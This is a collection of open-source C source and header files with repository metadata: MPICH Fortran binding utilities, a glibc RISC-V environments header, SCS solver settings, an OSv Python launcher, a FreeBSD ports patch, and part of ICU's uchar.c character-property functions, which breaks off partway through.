void LoadMapTilesetPalettes(struct MapLayout const * mapLayout); void InitMap(void); void CopySecondaryTilesetToVramUsingHeap(const struct MapLayout * mapLayout); void LoadSecondaryTilesetPalette(const struct MapLayout * mapLayout); void InitMapFromSavedGame(void); void CopyPrimaryTilesetToVram(const struct MapLayout *mapLayout); void CopySecondaryTilesetToVram(const struct MapLayout *mapLayout); void GetCameraFocusCoords(u16 *x, u16 *y); void SetCameraFocusCoords(u16 x, u16 y); #endif //GUARD_FIELDMAP_H
4463f9c47e3af2d32486ba8d07b0339570b8680c
e65a4dbfbfb0e54e59787ba7741efee12f7687f3
/biology/subread/files/patch-sambam-file.c
bb17ba9dc5c35b39ecd480f05d5064206cfa0ffa
[ "BSD-2-Clause" ]
permissive
freebsd/freebsd-ports
86f2e89d43913412c4f6b2be3e255bc0945eac12
605a2983f245ac63f5420e023e7dce56898ad801
refs/heads/main
2023-08-30T21:46:28.720924
2023-08-30T19:33:44
2023-08-30T19:33:44
1,803,961
916
918
NOASSERTION
2023-09-08T04:06:26
2011-05-26T11:15:35
null
UTF-8
C
false
false
237
c
patch-sambam-file.c
--- sambam-file.c.orig 2018-11-08 15:20:35 UTC +++ sambam-file.c @@ -30,6 +30,7 @@ #include <string.h> #include <assert.h> #include <ctype.h> +#include <unistd.h> #include "subread.h" #include "core.h" #include "gene-algorithms.h"
6f3721d59c45aa3d705ca51ab0067d70df91f339
1efb2283837c9b70bc6449cec877799e4efa3268
/src/binding/fortran/use_mpi_f08/wrappers_c/utils.c
029a7064907c77ca4cc28d2c9ee49be3ca14666f
[ "mpich2" ]
permissive
pmodels/mpich
d2392e8e30536cad3e500c16aa1e71211101d83f
2d265f9f5f93ebdd07ad547423bc6212868262a4
refs/heads/main
2023-09-04T05:50:15.041823
2023-09-01T23:07:33
2023-09-01T23:07:33
70,918,679
506
313
NOASSERTION
2023-09-14T14:38:36
2016-10-14T14:39:42
C
UTF-8
C
false
false
4,523
c
utils.c
/* * Copyright (C) by Argonne National Laboratory * See COPYRIGHT in top-level directory */ #include "cdesc.h" #include <string.h> int MPIR_F08_MPI_IN_PLACE MPICH_API_PUBLIC; int MPIR_F08_MPI_BOTTOM MPICH_API_PUBLIC; /* MPI_F08_STATUS_IGNORE and MPI_F08_STATUSES_IGNORE are required by MPI-3.0. * the obj variables are linked in mpi_f08_link_constants module via bind(c). */ MPI_F08_status MPIR_F08_MPI_STATUS_IGNORE_OBJ MPICH_API_PUBLIC; MPI_F08_status MPIR_F08_MPI_STATUSES_IGNORE_OBJ[1] MPICH_API_PUBLIC; MPI_F08_status *MPI_F08_STATUS_IGNORE MPICH_API_PUBLIC = &MPIR_F08_MPI_STATUS_IGNORE_OBJ; MPI_F08_status *MPI_F08_STATUSES_IGNORE MPICH_API_PUBLIC = &MPIR_F08_MPI_STATUSES_IGNORE_OBJ[0]; /* Convert an array of strings in Fortran Format to an array of strings in C format (i.e., char* a[]). IN strs_f: An array of strings in Fortran OUT strs_c: An array of char* in C IN str_len: The length of a string, i.e., an element in strs_f[]. By Fortran convention, all strings have the same length IN know_size: Indicate if size of strs_f[] is already known. If it is false, then the last element of strs_f[] is represented by a blank line. Accordingly, we put a NULL to strs_c[] as the last element of strs_c This case mimics argv in MPI_Comm_spawn If it is true, then 'size' gives the size of strs_f[]. No terminating NULL is needed in strs_c[] This case mimics array_of_commands in MPI_Comm_spawn_multiple IN size: Used only when know_size is true. Note: The caller needs to free memory of strs_c */ extern int MPIR_Fortran_array_of_string_f2c(const char *strs_f, char ***strs_c, int str_len, int know_size, int size) { int mpi_errno = MPI_SUCCESS; char *buf; char *cur_start; int num_chars = 0; /* To count the number of chars to allocate */ int num_strs = 0; /* To count the number of strings in strs_f[] */ int reached_the_end = 0; /* Indicate whether we reached the last element in strs_f[] */ int index; while (!reached_the_end) { for (index = str_len - 1; index >= 0; index--) { /* Trim the trailing blanks */ if (strs_f[str_len * num_strs + index] != ' ') break; } num_chars += index + 1; num_strs++; if (know_size) { if (num_strs == size) reached_the_end = 1; /* Reached the last element */ } else if (index < 0) { reached_the_end = 1; /* Found the terminating blank line */ } } /* Allocate memory for pointers to strings and the strings themself */ buf = (char *) malloc(sizeof(char *) * num_strs + sizeof(char) * (num_chars + num_strs)); /* Add \0 for each string */ if (buf == NULL) { mpi_errno = MPI_ERR_OTHER; goto fn_fail; } *strs_c = (char **) buf; cur_start = (char *) (buf + sizeof(char *) * num_strs); /* Scan strs_f[] again to set *strs_c[] */ reached_the_end = 0; num_strs = 0; while (!reached_the_end) { for (index = str_len - 1; index >= 0; index--) { if (strs_f[str_len * num_strs + index] != ' ') break; } strncpy(cur_start, &strs_f[str_len * num_strs], index + 1); /* index may be -1 */ cur_start[index + 1] = '\0'; (*strs_c)[num_strs] = cur_start; cur_start += index + 2; /* Move to start of next string */ num_strs++; if (know_size) { if (num_strs == size) reached_the_end = 1; /* Reached the last element */ } else if (index < 0) { reached_the_end = 1; /* Find the terminating blank line */ (*strs_c)[num_strs - 1] = NULL; /* Rewrite the last pointer as NULL */ } } fn_exit: return mpi_errno; fn_fail: goto fn_exit; } void *MPIR_F08_get_MPI_STATUS_IGNORE(void) { return (void *) MPI_STATUS_IGNORE; } void *MPIR_F08_get_MPI_STATUSES_IGNORE(void) { return (void *) MPI_STATUSES_IGNORE; } void *MPIR_F08_get_MPI_ARGV_NULL(void) { return (void *) MPI_ARGV_NULL; } void *MPIR_F08_get_MPI_ARGVS_NULL(void) { return (void *) MPI_ARGVS_NULL; } void *MPIR_F08_get_MPI_ERRCODES_IGNORE(void) { return (void *) MPI_ERRCODES_IGNORE; } void *MPIR_F08_get_MPI_UNWEIGHTED(void) { return (void *) MPI_UNWEIGHTED; } void *MPIR_F08_get_MPI_WEIGHTS_EMPTY(void) { return (void *) MPI_WEIGHTS_EMPTY; }
e4b7329b5915c7dec982e48dbae5fef6ff25907f
79d343002bb63a44f8ab0dbac0c9f4ec54078c3a
/lib/libc/include/riscv64-linux-gnu/bits/environments.h
11a6861955970d5dfa7a257e59c27d9fc5823f15
[ "MIT" ]
permissive
ziglang/zig
4aa75d8d3bcc9e39bf61d265fd84b7f005623fc5
f4c9e19bc3213c2bc7e03d7b06d7129882f39f6c
refs/heads/master
2023-08-31T13:16:45.980913
2023-08-31T05:50:29
2023-08-31T05:50:29
40,276,274
25,560
2,399
MIT
2023-09-14T21:09:50
2015-08-06T00:51:28
Zig
UTF-8
C
false
false
2,941
h
environments.h
/* Copyright (C) 2020-2021 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <https://www.gnu.org/licenses/>. */ #ifndef _UNISTD_H # error "Never include this file directly. Use <unistd.h> instead" #endif #include <bits/wordsize.h> /* This header should define the following symbols under the described situations. A value `1' means that the model is always supported, `-1' means it is never supported. Undefined means it cannot be statically decided. _POSIX_V7_ILP32_OFF32 32bit int, long, pointers, and off_t type _POSIX_V7_ILP32_OFFBIG 32bit int, long, and pointers and larger off_t type _POSIX_V7_LP64_OFF32 64bit long and pointers and 32bit off_t type _POSIX_V7_LPBIG_OFFBIG 64bit long and pointers and large off_t type The macros _POSIX_V6_ILP32_OFF32, _POSIX_V6_ILP32_OFFBIG, _POSIX_V6_LP64_OFF32, _POSIX_V6_LPBIG_OFFBIG, _XBS5_ILP32_OFF32, _XBS5_ILP32_OFFBIG, _XBS5_LP64_OFF32, and _XBS5_LPBIG_OFFBIG were used in previous versions of the Unix standard and are available only for compatibility. */ #if __WORDSIZE == 64 /* We can never provide environments with 32-bit wide pointers. */ # define _POSIX_V7_ILP32_OFF32 -1 # define _POSIX_V7_ILP32_OFFBIG -1 # define _POSIX_V6_ILP32_OFF32 -1 # define _POSIX_V6_ILP32_OFFBIG -1 # define _XBS5_ILP32_OFF32 -1 # define _XBS5_ILP32_OFFBIG -1 /* We also have no use (for now) for an environment with bigger pointers and offsets. */ # define _POSIX_V7_LPBIG_OFFBIG -1 # define _POSIX_V6_LPBIG_OFFBIG -1 # define _XBS5_LPBIG_OFFBIG -1 /* By default we have 64-bit wide `long int', pointers and `off_t'. */ # define _POSIX_V7_LP64_OFF64 1 # define _POSIX_V6_LP64_OFF64 1 # define _XBS5_LP64_OFF64 1 #else /* __WORDSIZE == 32 */ /* RISC-V requires 64-bit off_t */ # define _POSIX_V7_ILP32_OFF32 -1 # define _POSIX_V6_ILP32_OFF32 -1 # define _XBS5_ILP32_OFF32 -1 # define _POSIX_V7_ILP32_OFFBIG 1 # define _POSIX_V6_ILP32_OFFBIG 1 # define _XBS5_ILP32_OFFBIG 1 /* We can never provide environments with 64-bit wide pointers. */ # define _POSIX_V7_LP64_OFF64 -1 # define _POSIX_V7_LPBIG_OFFBIG -1 # define _POSIX_V6_LP64_OFF64 -1 # define _POSIX_V6_LPBIG_OFFBIG -1 # define _XBS5_LP64_OFF64 -1 # define _XBS5_LPBIG_OFFBIG -1 #endif /* __WORDSIZE == 32 */
62c4453ba18f702290d69a48c5b1cdbcfd1d3ee9
d61b532db0d3e08818338cfaac530a1ced1ffe3b
/mach/sparc/ce/back.src/rom_str.c
ba6aac72e133fb1b27c648d496a1a90399de5f2b
[ "LicenseRef-scancode-other-permissive" ]
permissive
davidgiven/ack
61049c7a8e95ff61a77b1edd3c22bb290720e276
db5a32c68c4a60ca26a3927a799ea662b5b2b0e5
refs/heads/default
2023-08-29T07:33:12.771205
2023-07-08T20:17:27
2023-07-08T20:17:27
37,686,316
376
74
NOASSERTION
2023-07-08T20:17:28
2015-06-18T21:33:42
C
UTF-8
C
false
false
71
c
rom_str.c
#include "header.h" rom_str( s,n) char *s; int n; { gen_str( s,n); }
ccc8f5a1c64dd0a48a647edf1af63622e97e3ec4
ebf2f274c49b5a19f02fc4bfd1eb79b31973bd6d
/include/glbopts.h
8f9c90c09030bec620b3ec214820169a57accaa7
[ "MIT" ]
permissive
cvxgrp/scs
6b07cfbdd1405ced6615608aa8f03c55cb809928
f5f054be7dd71ee0d80c4c0eec0df1e9f0ccb123
refs/heads/master
2023-09-06T02:12:13.387138
2023-04-13T08:51:52
2023-04-13T08:51:52
14,811,835
496
131
MIT
2023-04-12T22:38:26
2013-11-29T23:11:16
C
UTF-8
C
false
false
5,584
h
glbopts.h
#ifndef GLB_H_GUARD #define GLB_H_GUARD #ifdef __cplusplus extern "C" { #endif #include "scs.h" #include <math.h> #ifndef SCS #define SCS(x) _scs_##x #endif /* SCS VERSION NUMBER ---------------------------------------------- */ /* string literals automatically null-terminated */ #define SCS_VERSION ("3.2.3") /* verbosity level */ #ifndef VERBOSITY #define VERBOSITY (0) #endif /* DEFAULT SOLVER PARAMETERS AND SETTINGS -------------------------- */ /* If you update any of these you must update the documentation manually */ #define MAX_ITERS (100000) #define EPS_REL (1E-4) #define EPS_ABS (1E-4) #define EPS_INFEAS (1E-7) #define ALPHA (1.5) #define RHO_X (1E-6) #define SCALE (0.1) #define VERBOSE (1) #define NORMALIZE (1) #define WARM_START (0) #define ACCELERATION_LOOKBACK (10) #define ACCELERATION_INTERVAL (10) #define ADAPTIVE_SCALE (1) #define WRITE_DATA_FILENAME (0) #define LOG_CSV_FILENAME (0) #define TIME_LIMIT_SECS (0.) /* redefine printfs as needed */ #if NO_PRINTING > 0 /* Disable all printing */ #define scs_printf(...) /* No-op */ #else #ifdef MATLAB_MEX_FILE #include "mex.h" #define scs_printf mexPrintf #elif defined PYTHON #include <Python.h> /* see: * https://cython-users.narkive.com/jRjjs3sK/reacquire-gil-for-printing-in-wrapped-c-library */ #define scs_printf(...) \ { \ PyGILState_STATE gilstate = PyGILState_Ensure(); \ PySys_WriteStdout(__VA_ARGS__); \ PyGILState_Release(gilstate); \ } #elif defined R_LANG #include <R_ext/Print.h> /* Rprintf etc */ #include <stdio.h> #include <stdlib.h> #define scs_printf Rprintf #else #include <stdio.h> #include <stdlib.h> #define scs_printf printf #endif #endif /* redefine memory allocators as needed */ #ifdef MATLAB_MEX_FILE #include "mex.h" #define scs_free mxFree #define scs_malloc mxMalloc #define scs_calloc mxCalloc #define scs_realloc mxRealloc #elif defined PYTHON #include <Python.h> #if PY_MAJOR_VERSION >= 3 #define scs_free PyMem_RawFree #define scs_malloc PyMem_RawMalloc #define scs_realloc PyMem_RawRealloc #define scs_calloc PyMem_RawCalloc #else #define scs_free PyMem_Free #define scs_malloc PyMem_Malloc #define scs_realloc PyMem_Realloc static inline void *scs_calloc(size_t count, size_t size) { void *obj = PyMem_Malloc(count * size); memset(obj, 0, count * size); return obj; } #endif #elif defined R_LANG #include <stdio.h> #include <stdlib.h> #define scs_free free #define scs_malloc malloc #define scs_calloc calloc #define scs_realloc realloc #else #include <stdio.h> #include <stdlib.h> #define scs_free free #define scs_malloc malloc #define scs_calloc calloc #define scs_realloc realloc #endif #ifndef SFLOAT #ifndef NAN #define NAN ((scs_float)0x7ff8000000000000) #endif #ifndef INFINITY #define INFINITY NAN #endif #else #ifndef NAN #define NAN ((float)0x7fc00000) #endif #ifndef INFINITY #define INFINITY NAN #endif #endif #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif #ifndef MIN #define MIN(a, b) (((a) < (b)) ? (a) : (b)) #endif #ifndef ABS #define ABS(x) (((x) < 0) ? -(x) : (x)) #endif #ifndef POWF #ifdef SFLOAT #define POWF powf #else #define POWF pow #endif #endif #ifndef SQRTF #ifdef SFLOAT #define SQRTF sqrtf #else #define SQRTF sqrt #endif #endif /* Force SCS to treat the problem as (non-homogeneous) feasible for this many */ /* iters. This acts like a warm-start that biases towards feasibility, which */ /* is the most common use-case */ #define FEASIBLE_ITERS (1) /* how many iterations between heuristic residual rescaling */ #define RESCALING_MIN_ITERS (100) #define _DIV_EPS_TOL (1E-18) #define SAFEDIV_POS(X, Y) \ ((Y) < _DIV_EPS_TOL ? ((X) / _DIV_EPS_TOL) : (X) / (Y)) #if VERBOSITY > 0 #define PRINT_INTERVAL (1) #define CONVERGED_INTERVAL (1) #else /* print summary output every this num iterations */ #define PRINT_INTERVAL (250) /* check for convergence every this num iterations */ #define CONVERGED_INTERVAL (25) #endif /* maintain the iterates at L2 norm = ITERATE_NORM * sqrt(n+m+1) */ #define ITERATE_NORM (1.) /* Which norm to use for termination checking etc */ /* #define NORM SCS(norm_2) */ #define NORM SCS(norm_inf) /* Factor which is scales tau in the linear system update */ /* Larger factors prevent tau from moving as much */ #define TAU_FACTOR (10.) /* Anderson acceleration parameters: */ #define AA_RELAXATION (1.0) #define AA_REGULARIZATION_TYPE_1 (1e-6) #define AA_REGULARIZATION_TYPE_2 (1e-10) /* Safeguarding norm factor at which we reject AA steps */ #define AA_SAFEGUARD_FACTOR (1.) /* Max allowable AA weight norm */ #define AA_MAX_WEIGHT_NORM (1e10) /* (Dual) Scale updating parameters */ #define MAX_SCALE_VALUE (1e6) #define MIN_SCALE_VALUE (1e-6) #define SCALE_NORM NORM /* what norm to use when computing the scale factor */ /* CG == Conjugate gradient */ /* Linear system tolerances, only used with indirect */ #define CG_BEST_TOL (1e-12) /* This scales the current residuals to get the tolerance we solve the * linear system to at each iteration. Lower factors require more CG steps * but give better accuracy */ #define CG_TOL_FACTOR (0.2) /* norm to use when deciding CG convergence */ #ifndef CG_NORM #define CG_NORM SCS(norm_inf) #endif /* cg tol ~ O(1/k^(CG_RATE)) */ #define CG_RATE (1.5) #ifdef __cplusplus } #endif #endif
01dbe6a124e7612f335beb4603ea9879ed44f5a6
2b319ab54d06a304397c43176ede37ae8669c6df
/python3x/python.c
51d41df36855bc69bf9549649ffa5f723346ad3c
[]
no_license
cloudius-systems/osv-apps
54c389eb72f100a6e8485f92aa4553896c4bc8e5
22e1541ca18d3794053b9ca61671508a2d1944ec
refs/heads/master
2023-06-08T01:13:22.161834
2023-05-31T15:49:10
2023-05-31T15:49:10
14,896,375
122
69
null
2023-01-21T01:34:28
2013-12-03T14:44:26
Makefile
UTF-8
C
false
false
2,994
c
python.c
/* Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 Python Software Foundation. All rights reserved. Copyright (c) 2000 BeOpen.com. All rights reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All rights reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum. All rights reserved. See the file "LICENSE" for information on the history of this software, terms & conditions for usage, and a DISCLAIMER OF ALL WARRANTIES. This Python distribution contains no GNU General Public License (GPL) code, so it may be used in proprietary projects. There are interfaces to some GNU code but these are entirely optional. All trademarks referenced herein are property of their respective holders.*/ /* Minimal main program -- everything is loaded from the library */ //#include "Python.h" #include <locale.h> #include <wchar.h> #include <stdio.h> extern void *PyMem_RawMalloc(size_t size); extern void PyMem_RawFree(void *ptr); extern char *_PyMem_RawStrdup(const char *str); extern wchar_t *Py_DecodeLocale(const char* arg, size_t *size); extern int Py_Main(int argc, wchar_t **argv); #ifdef __FreeBSD__ #include <fenv.h> #endif #ifdef MS_WINDOWS int wmain(int argc, wchar_t **argv) { return Py_Main(argc, argv); } #else int main(int argc, char **argv) { wchar_t **argv_copy; /* We need a second copy, as Python might modify the first one. */ wchar_t **argv_copy2; int i, res; char *oldloc; argv_copy = (wchar_t **)PyMem_RawMalloc(sizeof(wchar_t*) * (argc+1)); argv_copy2 = (wchar_t **)PyMem_RawMalloc(sizeof(wchar_t*) * (argc+1)); if (!argv_copy || !argv_copy2) { fprintf(stderr, "out of memory\n"); return 1; } /* 754 requires that FP exceptions run in "no stop" mode by default, * and until C vendors implement C99's ways to control FP exceptions, * Python requires non-stop mode. Alas, some platforms enable FP * exceptions by default. Here we disable them. */ #ifdef __FreeBSD__ fedisableexcept(FE_OVERFLOW); #endif oldloc = _PyMem_RawStrdup(setlocale(LC_ALL, NULL)); if (!oldloc) { fprintf(stderr, "out of memory\n"); return 1; } setlocale(LC_ALL, ""); for (i = 0; i < argc; i++) { argv_copy[i] = Py_DecodeLocale(argv[i], NULL); if (!argv_copy[i]) { PyMem_RawFree(oldloc); fprintf(stderr, "Fatal Python error: " "unable to decode the command line argument #%i\n", i + 1); return 1; } argv_copy2[i] = argv_copy[i]; } argv_copy2[argc] = argv_copy[argc] = NULL; setlocale(LC_ALL, oldloc); PyMem_RawFree(oldloc); res = Py_Main(argc, argv_copy); for (i = 0; i < argc; i++) { PyMem_RawFree(argv_copy2[i]); } PyMem_RawFree(argv_copy); PyMem_RawFree(argv_copy2); return res; } #endif
21a0b6d3b053754220bf62f6ab3cd6fc1632151e
7d5691687676b900553628f9287b7cb9094dac9a
/3party/icu/common/uchar.c
57e00afc10f8b124052cbfdbaf65ea800de39f6a
[ "Apache-2.0", "LicenseRef-scancode-public-domain", "BSD-2-Clause", "NAIST-2003", "BSD-3-Clause", "LicenseRef-scancode-unicode", "ICU", "GPL-3.0-or-later", "NTP", "LicenseRef-scancode-unicode-icu-58", "LicenseRef-scancode-autoconf-simple-exception" ]
permissive
mapsme/omim
bf3ea4f419a547b7c124107e344d7f565d707c12
1892903b63f2c85b16ed4966d21fe76aba06b9ba
refs/heads/master
2023-02-20T16:31:08.733960
2021-04-27T13:57:41
2021-04-28T14:44:52
42,798,033
5,032
1,527
Apache-2.0
2022-10-03T08:28:24
2015-09-20T02:57:13
C++
UTF-8
C
false
false
20,637
c
uchar.c
/* ******************************************************************************** * Copyright (C) 1996-2014, International Business Machines * Corporation and others. All Rights Reserved. ******************************************************************************** * * File UCHAR.C * * Modification History: * * Date Name Description * 04/02/97 aliu Creation. * 4/15/99 Madhu Updated all the function definitions for C Implementation * 5/20/99 Madhu Added the function u_getVersion() * 8/19/1999 srl Upgraded scripts to Unicode3.0 * 11/11/1999 weiv added u_isalnum(), cleaned comments * 01/11/2000 helena Renamed u_getVersion to u_getUnicodeVersion. * 06/20/2000 helena OS/400 port changes; mostly typecast. ****************************************************************************** */ #include "unicode/utypes.h" #include "unicode/uchar.h" #include "unicode/uscript.h" #include "unicode/udata.h" #include "uassert.h" #include "cmemory.h" #include "ucln_cmn.h" #include "utrie2.h" #include "udataswp.h" #include "uprops.h" #include "ustr_imp.h" /* uchar_props_data.h is machine-generated by genprops --csource */ #define INCLUDED_FROM_UCHAR_C #include "uchar_props_data.h" /* constants and macros for access to the data ------------------------------ */ /* getting a uint32_t properties word from the data */ #define GET_PROPS(c, result) ((result)=UTRIE2_GET16(&propsTrie, c)); U_CFUNC UBool uprv_haveProperties(UErrorCode *pErrorCode) { if(U_FAILURE(*pErrorCode)) { return FALSE; } return TRUE; } /* API functions ------------------------------------------------------------ */ /* Gets the Unicode character's general category.*/ U_CAPI int8_t U_EXPORT2 u_charType(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (int8_t)GET_CATEGORY(props); } /* Enumerate all code points with their general categories. */ struct _EnumTypeCallback { UCharEnumTypeRange *enumRange; const void *context; }; static uint32_t U_CALLCONV _enumTypeValue(const void *context, uint32_t value) { return GET_CATEGORY(value); } static UBool U_CALLCONV _enumTypeRange(const void *context, UChar32 start, UChar32 end, uint32_t value) { /* just cast the value to UCharCategory */ return ((struct _EnumTypeCallback *)context)-> enumRange(((struct _EnumTypeCallback *)context)->context, start, end+1, (UCharCategory)value); } U_CAPI void U_EXPORT2 u_enumCharTypes(UCharEnumTypeRange *enumRange, const void *context) { struct _EnumTypeCallback callback; if(enumRange==NULL) { return; } callback.enumRange=enumRange; callback.context=context; utrie2_enum(&propsTrie, _enumTypeValue, _enumTypeRange, &callback); } /* Checks if ch is a lower case letter.*/ U_CAPI UBool U_EXPORT2 u_islower(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)==U_LOWERCASE_LETTER); } /* Checks if ch is an upper case letter.*/ U_CAPI UBool U_EXPORT2 u_isupper(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)==U_UPPERCASE_LETTER); } /* Checks if ch is a title case letter; usually upper case letters.*/ U_CAPI UBool U_EXPORT2 u_istitle(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)==U_TITLECASE_LETTER); } /* Checks if ch is a decimal digit. */ U_CAPI UBool U_EXPORT2 u_isdigit(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)==U_DECIMAL_DIGIT_NUMBER); } U_CAPI UBool U_EXPORT2 u_isxdigit(UChar32 c) { uint32_t props; /* check ASCII and Fullwidth ASCII a-fA-F */ if( (c<=0x66 && c>=0x41 && (c<=0x46 || c>=0x61)) || (c>=0xff21 && c<=0xff46 && (c<=0xff26 || c>=0xff41)) ) { return TRUE; } GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)==U_DECIMAL_DIGIT_NUMBER); } /* Checks if the Unicode character is a letter.*/ U_CAPI UBool U_EXPORT2 u_isalpha(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&U_GC_L_MASK)!=0); } U_CAPI UBool U_EXPORT2 u_isUAlphabetic(UChar32 c) { return (u_getUnicodeProperties(c, 1)&U_MASK(UPROPS_ALPHABETIC))!=0; } /* Checks if c is a letter or a decimal digit */ U_CAPI UBool U_EXPORT2 u_isalnum(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&(U_GC_L_MASK|U_GC_ND_MASK))!=0); } /** * Checks if c is alphabetic, or a decimal digit; implements UCHAR_POSIX_ALNUM. * @internal */ U_CFUNC UBool u_isalnumPOSIX(UChar32 c) { return (UBool)(u_isUAlphabetic(c) || u_isdigit(c)); } /* Checks if ch is a unicode character with assigned character type.*/ U_CAPI UBool U_EXPORT2 u_isdefined(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)!=0); } /* Checks if the Unicode character is a base form character that can take a diacritic.*/ U_CAPI UBool U_EXPORT2 u_isbase(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&(U_GC_L_MASK|U_GC_N_MASK|U_GC_MC_MASK|U_GC_ME_MASK))!=0); } /* Checks if the Unicode character is a control character.*/ U_CAPI UBool U_EXPORT2 u_iscntrl(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&(U_GC_CC_MASK|U_GC_CF_MASK|U_GC_ZL_MASK|U_GC_ZP_MASK))!=0); } U_CAPI UBool U_EXPORT2 u_isISOControl(UChar32 c) { return (uint32_t)c<=0x9f && (c<=0x1f || c>=0x7f); } /* Some control characters that are used as space. */ #define IS_THAT_CONTROL_SPACE(c) \ (c<=0x9f && ((c>=TAB && c<=CR) || (c>=0x1c && c <=0x1f) || c==NL)) /* Java has decided that U+0085 New Line is not whitespace any more. */ #define IS_THAT_ASCII_CONTROL_SPACE(c) \ (c<=0x1f && c>=TAB && (c<=CR || c>=0x1c)) /* Checks if the Unicode character is a space character.*/ U_CAPI UBool U_EXPORT2 u_isspace(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&U_GC_Z_MASK)!=0 || IS_THAT_CONTROL_SPACE(c)); } U_CAPI UBool U_EXPORT2 u_isJavaSpaceChar(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&U_GC_Z_MASK)!=0); } /* Checks if the Unicode character is a whitespace character.*/ U_CAPI UBool U_EXPORT2 u_isWhitespace(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)( ((CAT_MASK(props)&U_GC_Z_MASK)!=0 && c!=NBSP && c!=FIGURESP && c!=NNBSP) || /* exclude no-break spaces */ IS_THAT_ASCII_CONTROL_SPACE(c) ); } U_CAPI UBool U_EXPORT2 u_isblank(UChar32 c) { if((uint32_t)c<=0x9f) { return c==9 || c==0x20; /* TAB or SPACE */ } else { /* Zs */ uint32_t props; GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)==U_SPACE_SEPARATOR); } } U_CAPI UBool U_EXPORT2 u_isUWhiteSpace(UChar32 c) { return (u_getUnicodeProperties(c, 1)&U_MASK(UPROPS_WHITE_SPACE))!=0; } /* Checks if the Unicode character is printable.*/ U_CAPI UBool U_EXPORT2 u_isprint(UChar32 c) { uint32_t props; GET_PROPS(c, props); /* comparing ==0 returns FALSE for the categories mentioned */ return (UBool)((CAT_MASK(props)&U_GC_C_MASK)==0); } /** * Checks if c is in \p{graph}\p{blank} - \p{cntrl}. * Implements UCHAR_POSIX_PRINT. * @internal */ U_CFUNC UBool u_isprintPOSIX(UChar32 c) { uint32_t props; GET_PROPS(c, props); /* * The only cntrl character in graph+blank is TAB (in blank). * Here we implement (blank-TAB)=Zs instead of calling u_isblank(). */ return (UBool)((GET_CATEGORY(props)==U_SPACE_SEPARATOR) || u_isgraphPOSIX(c)); } U_CAPI UBool U_EXPORT2 u_isgraph(UChar32 c) { uint32_t props; GET_PROPS(c, props); /* comparing ==0 returns FALSE for the categories mentioned */ return (UBool)((CAT_MASK(props)& (U_GC_CC_MASK|U_GC_CF_MASK|U_GC_CS_MASK|U_GC_CN_MASK|U_GC_Z_MASK)) ==0); } /** * Checks if c is in * [^\p{space}\p{gc=Control}\p{gc=Surrogate}\p{gc=Unassigned}] * with space=\p{Whitespace} and Control=Cc. * Implements UCHAR_POSIX_GRAPH. * @internal */ U_CFUNC UBool u_isgraphPOSIX(UChar32 c) { uint32_t props; GET_PROPS(c, props); /* \p{space}\p{gc=Control} == \p{gc=Z}\p{Control} */ /* comparing ==0 returns FALSE for the categories mentioned */ return (UBool)((CAT_MASK(props)& (U_GC_CC_MASK|U_GC_CS_MASK|U_GC_CN_MASK|U_GC_Z_MASK)) ==0); } U_CAPI UBool U_EXPORT2 u_ispunct(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&U_GC_P_MASK)!=0); } /* Checks if the Unicode character can start a Unicode identifier.*/ U_CAPI UBool U_EXPORT2 u_isIDStart(UChar32 c) { /* same as u_isalpha() */ uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&(U_GC_L_MASK|U_GC_NL_MASK))!=0); } /* Checks if the Unicode character can be a Unicode identifier part other than starting the identifier.*/ U_CAPI UBool U_EXPORT2 u_isIDPart(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)( (CAT_MASK(props)& (U_GC_ND_MASK|U_GC_NL_MASK| U_GC_L_MASK| U_GC_PC_MASK|U_GC_MC_MASK|U_GC_MN_MASK) )!=0 || u_isIDIgnorable(c)); } /*Checks if the Unicode character can be ignorable in a Java or Unicode identifier.*/ U_CAPI UBool U_EXPORT2 u_isIDIgnorable(UChar32 c) { if(c<=0x9f) { return u_isISOControl(c) && !IS_THAT_ASCII_CONTROL_SPACE(c); } else { uint32_t props; GET_PROPS(c, props); return (UBool)(GET_CATEGORY(props)==U_FORMAT_CHAR); } } /*Checks if the Unicode character can start a Java identifier.*/ U_CAPI UBool U_EXPORT2 u_isJavaIDStart(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)((CAT_MASK(props)&(U_GC_L_MASK|U_GC_SC_MASK|U_GC_PC_MASK))!=0); } /*Checks if the Unicode character can be a Java identifier part other than starting the * identifier. */ U_CAPI UBool U_EXPORT2 u_isJavaIDPart(UChar32 c) { uint32_t props; GET_PROPS(c, props); return (UBool)( (CAT_MASK(props)& (U_GC_ND_MASK|U_GC_NL_MASK| U_GC_L_MASK| 